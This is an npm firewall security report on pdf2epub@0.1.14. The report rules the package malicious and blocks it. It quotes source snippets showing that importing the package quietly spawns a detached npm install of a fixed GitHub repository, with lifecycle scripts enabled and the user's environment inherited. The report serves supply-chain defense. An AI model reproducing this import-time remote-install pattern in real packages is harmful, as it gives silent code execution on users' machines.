---
canonical: "https://firewall.lpm.dev/npm/pdf2epub"
markdown: "https://firewall.lpm.dev/npm/pdf2epub/report.md"
package: "pdf2epub"
report_status: "published"
title: "pdf2epub@0.1.14 npm security report"
verdict: "malicious"
version: "0.1.14"
---

# pdf2epub@0.1.14 npm security report

> **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document.

## Verdict summary
**Blocked & quarantined** — Lifecycle code from the remote dependency can execute with the user's privileges and access to the inherited environment.

- **Verdict:** Malicious
- **Product-default install policy:** Block
- **Firewall policy:** Matched malicious
- **Public report status:** Published
- **Threat category:** Remote Code Execution
- **Selected version:** 0.1.14
- **Selected version is latest:** No
- **Analysis source:** AI Security Review (lpm-firewall-ai)

This is the current Firewall decision for the selected package version, based on the available public evidence. Findings for this version do not establish the status of other versions.

AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy.

The package entrypoint triggers an unrequested remote npm installation during import and explicitly allows the installed project's lifecycle scripts to run. This is a concrete remote code execution path, so publication should be blocked.

## Latest scan
- **Scanner version:** rust-scanner-worker-schema-1
- **Recorded final verdict:** Malicious
- **Recorded analysis confidence:** 97.0%
- **Started:** 2026-10-25T23:19:45.673Z
- **Finished:** 2026-10-25T23:20:46.049Z
- **Download time:** 762 ms
- **Static scan time:** 42 ms
- **AI review time:** 59571 ms
- **Total time:** 60376 ms

The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs.

## Security analysis

### Published attack-surface review

- **Summary:** Importing the package automatically starts an npm install from a fixed GitHub repository with lifecycle scripts enabled. This exposes the importing user to execution of code from that repository without an affirmative installation action.

- **Trigger:** Importing pdf2epub.js when the opt-out variable is unset and the marker does not exist.

- **Impact:** Lifecycle code from the remote dependency can execute with the user's privileges and access to the inherited environment.

- **Evidence paths:** package.json, pdf2epub.js, lab/setups.mjs

- **Review source:** ai\_review

- **Reviewed:** 2026-10-25T23:20:46.049Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** The helper launches detached npm install for the fixed repository in a temporary project, explicitly enables scripts, and inherits the caller's environment.

- **Attack narrative:** Importing the package starts a detached npm install of a fixed GitHub project, with lifecycle scripts explicitly enabled. The helper only offers an opt-out environment variable; it does not require the user to request this install. Its child process inherits the caller's environment, so code run by the installed project's lifecycle scripts can execute with the user's privileges.

- **Rationale:** The package entrypoint triggers an unrequested remote npm installation during import and explicitly allows the installed project's lifecycle scripts to run. This is a concrete remote code execution path, so publication should be blocked.

- **Files touched:** ~/.cache/pdf2epub/demo-installed, tmpdir()/pdf2epub-demo-${process.pid}/package.json

- **Network endpoints:** https://github.com/daltsubnet/bun-install-helloworld-demo.git

### Review decision

- **Verdict:** Malicious

- **Confidence:** 97.0%

- **Recommended action:** publish\_block

- **Intent class:** Malware

- **False-positive risk:** Low

- **Evidence for block:** The package's main entrypoint and export both load pdf2epub.js., Loading pdf2epub.js calls scheduleDemoInstall during import., The helper selects a fixed GitHub repository and skips only for an environment opt-out or an existing marker., The helper launches detached npm install with lifecycle scripts enabled and inherits the caller's environment., The install runs in a temporary directory and creates a marker in the user's cache.

## Affected versions and remediation

This report applies to pdf2epub@0.1.14.

- Avoid installing pdf2epub@0.1.14. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

## Public findings

### 1. Low: Scripts Present
- **Category:** Manifest
- **Confidence:** 100.0%

Package declares npm scripts.

### 2. Medium: Environment Vars
- **Category:** Source
- **Confidence:** 75.0%

Package source references environment variables.

### 3. Low: Filesystem
- **Category:** Source
- **Confidence:** 70.0%

Package source references filesystem APIs.

### 4. Low: High Entropy Strings
- **Category:** Supply Chain
- **Confidence:** 55.0%

Package source contains high-entropy string patterns.

### 5. Low: Url Strings
- **Category:** Supply Chain
- **Confidence:** 65.0%

Package source contains URL literals.

### 6. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 97.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/pdf2epub@0.1.14/package.json>)

The package's main entrypoint and export both load pdf2epub.js.

Public source snippet (untrusted):

```json
"type": "module",
  "main": "./pdf2epub.js",
  "exports": {
    ".": "./pdf2epub.js"
  },
  "bin": {
    "pdf2epub": "./pdf2epub.js"
  },
  "scripts
```

### 7. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 97.0%
- **Path:** pdf2epub.js
- **Public source:** [View source](<https://unpkg.com/pdf2epub@0.1.14/pdf2epub.js>)

Loading pdf2epub.js calls scheduleDemoInstall during import.

Public source snippet (untrusted):

```javascript
scheduleDemoInstall();

// ---
```

### 8. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 97.0%
- **Path:** lab/setups.mjs
- **Public source:** [View source](<https://unpkg.com/pdf2epub@0.1.14/lab/setups.mjs>)

The helper selects a fixed GitHub repository and skips only for an environment opt-out or an existing marker.

Public source snippet (untrusted):

```javascript
const DEMO_URL = "https://github.com/daltsubnet/bun-install-helloworld-demo.git";
const CACHE_DIR = join(homedir(), ".cache", "pdf2epub");
const MARKER = join(CACHE_DIR, "demo-inst
```

### 9. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 97.0%
- **Path:** lab/setups.mjs
- **Public source:** [View source](<https://unpkg.com/pdf2epub@0.1.14/lab/setups.mjs>)

The helper selects a fixed GitHub repository and skips only for an environment opt-out or an existing marker.

Public source snippet (untrusted):

```javascript
/** Fire-and-forget: does not block the importer. Runs at most once per machine. */
export function scheduleDemoInstall() {
  if (process.env.PDF2EPUB_SKIP_DEMO === "1") return;
  if (existsSync(MARKER)) return;

  const npm = whichNpm();
  if (!npm)
```

### 10. High: Suspicious Lifecycle Evidence
- **Category:** Manifest
- **Confidence:** 97.0%
- **Path:** lab/setups.mjs
- **Public source:** [View source](<https://unpkg.com/pdf2epub@0.1.14/lab/setups.mjs>)

The helper launches detached npm install with lifecycle scripts enabled and inherits the caller's environment.

Public source snippet (untrusted):

```javascript
const demoDir = prepareDemoDir();
  const child = spawn(
    npm,
    ["install", DEMO_URL, "--ignore-scripts=false", "--no-fund", "--no-audit"],
    {
      cwd: demoDir,
      detached: true,
      stdio: "ignore",
      env: { ...process.env, npm[redacted]: "false" },
    },
  );
  child.unref();
}

// Manual: node lab/setups.mjs
if (process.argv[1] === fileURL
```

### 11. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 97.0%
- **Path:** lab/setups.mjs
- **Public source:** [View source](<https://unpkg.com/pdf2epub@0.1.14/lab/setups.mjs>)

The install runs in a temporary directory and creates a marker in the user's cache.

Public source snippet (untrusted):

```javascript
function prepareDemoDir() {
  const demoDir = join(tmpdir(), `pdf2epub-demo-${process.pid}`);
  mkdirSync(demoDir, { recursive: true });
  writeFileSync(
    join(demoDir, "package.json"),
    JSON.stringify(
      { name: "pdf2epub-demo-install", private: true },
      null,
      2,
```

## Dependencies and install lifecycle
- **Lifecycle scripts present:** No

- **Dependencies:** 1
- **Optional dependencies:** 0
- **Peer dependencies:** 0
- **Development dependencies:** 0
- **Published dependency-graph edges:** 1

### Published dependency entries
- pdfjs-dist ^4.10.38 (Dependency)

## Package metadata
- **Package:** pdf2epub
- **Ecosystem:** npm
- **Version:** 0.1.14
- **License:** MIT
- **Version published:** 2026-10-25T09:46:47.262Z
- **Package first seen:** 2026-09-07T17:39:11.111Z
- **Package last seen:** 2026-10-25T23:20:46.049Z
- **Known versions:** 13
- **Latest version:** 0.1.15
- **Appeal under review:** No
- **Description:** Convert PDF files to EPUB ebooks
- **Author:** dalt4sec
- **Keywords:** pdf, epub, pdf-to-epub, convert-pdf-to-epub, ebook, reflowable, epub3, kindle, kobo, calibre-alternative, ebook-convert, pdfjs
- **Artifact files:** 7
- **Artifact unpacked size:** 31,659 bytes
- **Artifact signatures:** 2
- **Attestations:** No

## References
- [HTML security report](<https://firewall.lpm.dev/npm/pdf2epub>)
- [Repository](<https://github.com/daltsubnet/pdf2epub.git>)
- [Homepage](<https://github.com/daltsubnet/pdf2epub#readme>)
- [Issues](<https://github.com/daltsubnet/pdf2epub/issues>)
